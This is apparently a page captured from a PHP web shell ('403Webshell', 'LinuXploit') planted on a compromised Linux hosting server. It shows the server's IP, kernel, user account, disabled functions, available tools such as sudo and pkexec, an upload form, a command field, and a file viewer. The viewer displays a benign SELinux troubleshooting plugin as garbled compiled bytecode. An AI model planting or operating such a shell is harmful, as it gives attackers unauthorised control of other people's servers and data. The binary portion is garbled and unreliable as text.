403Webshell
Server IP : 77.68.64.21  /  Your IP : 216.73.217.145
Web Server : Apache
System : Linux hp3-wp-1011352.hostingp3.local 3.10.0-1160.144.1.el7.tuxcare.els9.x86_64 #1 SMP Fri Jul 10 17:06:31 UTC 2026 x86_64
User : csh2516497 ( 2094697)
PHP Version : 8.3.30
Disable Function : shell_exec,exec,system,popen,set_time_limit
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/share/setroubleshoot/plugins/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/share/setroubleshoot/plugins/restorecon_source.pyc
�
c�L]c@s�ddlZejdde�ZejZddlTddlmZddlZddlTddl	Z	ddl	Z	defd��YZ
dS(i����Nssetroubleshoot-pluginstfallback(t*(tPlugintplugincBsheZed�ZdZed�Zd�Zed�Zd�Zed�Z	dZ
d�Zd	�ZRS(
sN
    SELinux is preventing $SOURCE_PATH "$ACCESS" access to $TARGET_PATH.
    s/sbin/restorecon $SOURCE_PATHs�
    You can restore the default system context to this file by executing the
    restorecon command.  restorecon '$SOURCE_PATH'.
    cCstd�|dS(Nsm
    SELinux denied access requested by $SOURCE. $SOURCE_PATH may
    be mislabeled.  $SOURCE_PATH default SELinux type is
    <B>%s</B>, but its current type is <B>$SOURCE_TYPE</B>. Changing
    this file back to the default type may fix your problem.
    <p>
    This file could have been mislabeled either by user error, or if an normally confined application
    was run under the wrong domain.
    <p>
    However, this might also indicate a bug in SELinux because the file should not have been labeled
    with this type.
    <p>
    If you believe this is a bug, please file a bug report against this package.
    i(t_(tselftavctargs((s6/usr/share/setroubleshoot/plugins/restorecon_source.pytget_problem_description,s
sGIf you want to fix the label. 
$SOURCE_PATH default label should be %s.cCs|j|dS(Ni(tif_text(RRR((s6/usr/share/setroubleshoot/plugins/restorecon_source.pytget_if_text>ssyou can run restorecon.s"# /sbin/restorecon -v $SOURCE_PATHcCsBtj|t�|jd�d|_t|_td�|_dS(NidtgreensRestore
Context(	Rt__init__t__name__tset_prioritytleveltTruetfixableRtbutton_text(R((s6/usr/share/setroubleshoot/plugins/restorecon_source.pyRDs

		cCs�|js
dS|jdkr dS|jddkr7dSy�tj|jjd�t�d}|jd�d}tj|jjd��d}|jd�d}||kr�|j	d|f�SWnt
k
r�nXdS(Nit/t"it:i(tquery_environmenttNonetspathtselinuxtmatchpathcontstriptS_IFREGtsplitt
getfilecontreporttOSError(RRtmcont	mcon_typetgcont	gcon_type((s6/usr/share/setroubleshoot/plugins/restorecon_source.pytanalyzeKs 	"
(
R
t
__module__Rtsummarytfix_cmdtfix_descriptionRR	R
t	then_texttdo_textRR%(((s6/usr/share/setroubleshoot/plugins/restorecon_source.pyR s					(tgettextttranslationRRtsetroubleshoot.utiltsetroubleshoot.PluginRtoststatRR(((s6/usr/share/setroubleshoot/plugins/restorecon_source.pyt<module>s	



Youez - 2016 - github.com/yon3zu
LinuXploit